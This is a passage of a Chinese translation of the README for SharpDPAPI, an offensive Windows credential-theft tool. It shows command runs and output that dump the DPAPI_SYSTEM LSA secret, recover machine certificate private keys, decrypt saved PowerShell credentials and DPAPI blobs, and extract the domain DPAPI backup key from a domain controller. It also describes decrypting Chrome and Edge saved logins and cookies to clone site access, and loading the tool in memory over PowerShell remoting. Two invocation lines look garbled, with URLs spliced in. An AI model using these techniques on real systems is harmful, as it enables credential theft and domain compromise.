certificates /machine 命令将使用机器证书存储来查找可解密的机器证书私钥。/mkfile:X 和 {GUID}:masterkey 可与 /target:\[file|folder\] 命令一起使用,否则 SharpDPAPI 会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器系统加密的 DPAPI 私钥证书。
默认情况下,只显示与关联已安装证书可链接的私钥。/showall 命令将显示所有解密的私钥。
需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] Triaging System Certificates
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
machinetriage 命令运行用户 machinecredentials、machinevaults 和 certificates /machine 命令。
ps 命令将描述/解密导出的 PSCredential clixml。必须提供 /target:FILE.xml。
该命令可以 a) 使用传入的任何 "{GUID}:SHA1" 主密钥解密文件,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后这些密钥作为查找解密表使用。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
/unprotect 标志将使用 CryptUnprotectData() 解密凭证 .xml,无需主密钥,前提是命令在保存密码的用户上下文中运行。这可以在 非特权 上下文中完成,无需接触 LSASS。对于为什么此方法不用于凭据/保险库,请参阅 Benjamin 的 文档。
使用 CryptProtectData() 解密导出的凭证 .xml(/unprotect 标志):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
使用域 {GUID}:SHA1 主密钥映射:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
blob 命令将描述/解密一个 DPAPI blob。必须提供 /target:<BASE64|blob.bin>。
该命令可以 a) 使用传入的任何 "{GUID}:SHA1" 主密钥解密 blob,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后这些密钥作为查找解密表使用。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
/unprotect 标志将使用 CryptUnprotectData() 解密 blob,无需主密钥,前提是命令在保存密码的用户上下文中运行。这可以在 非特权 上下文中完成,无需接触 LSASS。对于为什么此方法不用于凭据/保险库,请参阅 Benjamin 的 文档。
使用 CryptProtectData() 解密 blob(/unprotect 标志):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] 操作: 描述 DPAPI blob
[*] 使用 CryptUnprotectData() 进行解密。
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] 操作: 描述 DPAPI blob
[*] 使用域 DPAPI 备份密钥对主密钥进行分类以获取解密密钥映射!
[*] 用户主密钥缓存:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
backupkey 命令将通过 来自 Mimikatz 的 LsaRetrievePrivateData API 方法 从域控制器检索域 DPAPI 备份密钥。此私钥可用于解密域中任何用户的主密钥 blob。更棒的是,该密钥永远不会改变 ;)
需要域管理员(或同等)权限才能从远程域控制器检索密钥。
/nowrap 标志将阻止 base64 密钥在显示时换行。
此 base64 密钥 blob 可以解码为二进制 .pvk 文件,然后可配合 Mimikatz 的 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 模块使用,或作为 blob/file /pvk:X 形式与 SharpDPAPI 的 masterkeys、credentials 或 vault 命令一起使用。
默认情况下,SharpDPAPI 会尝试通过 DsGetDcName API 调用确定当前的域控制器。可以通过 /server:COMPUTER.domain.com 指定服务器。如果希望将密钥保存到磁盘而不是输出为 base64 blob,请使用 /file:key.pvk。
检索当前域控制器的 DPAPI 备份密钥:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] 操作: 检索域 DPAPI 备份密钥
[*] 使用当前域控制器 : PRIMARY.testlab.local
[*] 首选备份密钥 Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完整首选备份密钥名称 : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 密钥 :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
检索指定 DC 的 DPAPI 备份密钥,并将备份密钥输出到文件:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] 操作: 检索域 DPAPI 备份密钥
[*] 使用服务器 : primary.testlab.local
[*] 首选备份密钥 Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完整首选备份密钥名称 : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 备份密钥已写入 : key.pvk
search 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob。用法:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
`search`命令通过搜索以下字节来工作,这些字节表示DPAPI blob结构的头部(版本 + DPAPI提供者GUID):```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
search 命令根据扫描的数据类型具有不同的参数。要指定数据类型,请使用 /type 参数,指定 registry、folder、file 或 base64。如果未提供 /type 参数,则命令默认搜索注册表。
在没有任何其他参数的情况下搜索注册表时,命令会递归搜索 HKEY_LOCAL_MACHINE 和 HKEY_USERS 配置单元。使用 /path 参数指定搜索的根键(例如 /path:HKLM\Software),使用 /showErrors 参数显示枚举期间发生的错误。
搜索文件或文件夹时,使用 /path:C:\Path\to\file\or\folder 指定路径,并可选择使用 /maxBytes:<int> 指定从每个文件读取的字节数(默认:1024 字节)。命令将从文件开头读取字节并搜索 DPAPI blob。使用 /showErrors 显示枚举期间发生的错误。
搜索 base64 blob 时,使用 /base64:<base64 字符串> 参数指定要扫描的 base64 编码字节。
如果在一台作为 SCCM 客户端的计算机上拥有提升权限,并且 SCCM 环境配置了网络访问帐户 (NAA),则可以通过 WMI 检索受系统主密钥保护的、包含 NAA 凭据的 DPAPI blob;SCCM 命令将通过 WMI 查询 blob,检索系统主密钥,并解密这些 blob。
logins 命令将搜索 Chrome 的 'Login Data' 文件并解密保存的登录密码。如果执行环境是非提升权限的,则会自动使用 CryptProtectData() 尝试解密值。如果指定了 /browser:edge,则会处理较新的基于 Chromium 的 Edge 浏览器。
Login Data 文件也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
可以使用 /target:FILE 指定特定的 Login Data 文件。如果还提供了 /pvk 或 /password,则可以指定远程 /server:SERVER。如果处理较新的 Chrome/Edge 实例,可以指定 /statekey:X AES 状态密钥。
默认情况下,登录信息以 csv 格式显示。可以使用 /format:table 修改为表格输出。另外,默认只显示非空密码值的条目,但可以使用 /showall 显示所有值。
如果从提升权限的上下文中运行,则会处理所有用户的 Login Data 文件,否则仅处理当前用户的 Login Data 文件。
cookies 命令将搜索 Chromium 的 'Cookies' 文件并解密 cookie 值。如果执行环境是非提升权限的,则会自动使用 CryptProtectData() 尝试解密值。您可以使用 /browser:<VALUE>(例如 edge、brave、slack)更改目标应用程序。
Cookie 文件也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
可以使用 /target:FILE 指定特定的 Cookies 文件。如果还提供了 /pvk 或 /password,则可以指定远程 /server:SERVER。如果处理较新的 Chrome/Edge 实例,可以指定 /statekey:X AES 状态密钥。
默认情况下,cookie 以 csv 格式显示。可以使用 /format:table 修改为表格输出,或使用 /format:json 输出为可由 EditThisCookie 导入的格式。另外,默认只显示未过期的 cookie 值条目,但可以使用 /showall 显示所有值。
如果从提升权限的上下文中运行,则会处理所有用户的 Cookie 文件,否则仅处理当前用户的 Cookie 文件。
cookies 命令还支持 /cookie:REGEX 和 /url:REGEX 参数,仅返回与提供的正则表达式匹配的 cookie 名称或 URL。当与 /format:json 结合使用时,可轻松克隆特定站点的访问权限。
默认情况下,statekeys 命令将搜索基于 Chromium 的应用程序(Google Chrome、Edge、Brave 和 Slack),定位其 AES 状态密钥文件(例如 'AppData\Local\Google\Chrome\User Data\Local State' 和 'AppData\Local\Microsoft\Edge\User Data\Local State'),并使用与 cookies 和 logins 类似的参数进行解密。您还可以使用 /target: 参数提供特定状态密钥文件的路径(例如 "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State")。
状态密钥也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
如果从提升权限的上下文中运行,则会处理所有用户的状态密钥,否则仅处理当前用户的状态密钥。
backupkey 命令将使用 来自 Mimikatz 的 LsaRetrievePrivateData API 方法从域控制器检索域 DPAPI 备份密钥。此私钥可用于解密域中任何用户的主密钥 blob。更棒的是,该密钥永远不会更改 ;)
需要域管理员(或同等)权限才能从远程域控制器检索密钥。
/nowrap 标志将防止在显示时换行 base64 密钥。
此 base64 密钥 blob 可以解码为二进制 .pvk 文件,然后可与 Mimikatz 的 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 模块一起使用,或与 SharpDPAPI 的 masterkeys、credentials 或 vault 命令一起以 blob/文件 /pvk:X 形式使用。
默认情况下,SharpDPAPI 会尝试通过 DsGetDcName API 调用确定当前域控制器。可以使用 /server:COMPUTER.domain.com 指定服务器。如果您希望将密钥保存到磁盘而不是输出为 base64 blob,请使用 /file:key.pvk。
我们不打算发布 SharpDPAPI 的二进制文件,因此您需要自行编译 :)
SharpDPAPI 已针对 .NET 3.5 构建,并与 Visual Studio 2019 Community Edition 兼容。只需打开项目 .sln,选择 "Release",然后构建即可。
SharpDPAPI 的默认构建配置针对 .NET 3.5,如果系统未安装该版本,构建将失败。要将 SharpDPAPI 定位到 .NET 4 或 4.5,请打开 .sln 解决方案,转到 Project -> SharpDPAPI Properties,然后将 "Target framework" 更改为其他版本。
如果您希望通过 PowerShell 包装器在内存中运行 SharpDPAPI,请先编译 SharpDPAPI 并对生成的程序集进行 base64 编码:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
然后可以在 PowerShell 脚本中使用以下代码加载 SharpDPAPI(其中 "aa..." 替换为 base64 编码的 SharpDPAPI 程序集字符串):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
然后可以按如下方式调用 Main() 方法和任何参数:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:Main(%22machinemasterkeys%22)
由于 PSRemoting 处理输出的方式,我们需要将标准输出重定向到字符串并返回该字符串。幸运的是,SharpDPAPI 提供了一个辅助函数。
如果按照 旁注:通过 PowerShell 运行 SharpDPAPI 中的说明创建 SharpDPAPI.ps1,请在脚本末尾附加类似于以下内容的内容:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:MainString(%22machinemasterkeys%22)
然后,您应该能够通过类似以下的方式在 PSRemoting 上运行 SharpDPAPI:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
或者,SharpDPAPI 的 /consoleoutfile:C:\FILE.txt 参数会将所有输出流重定向到指定的文件。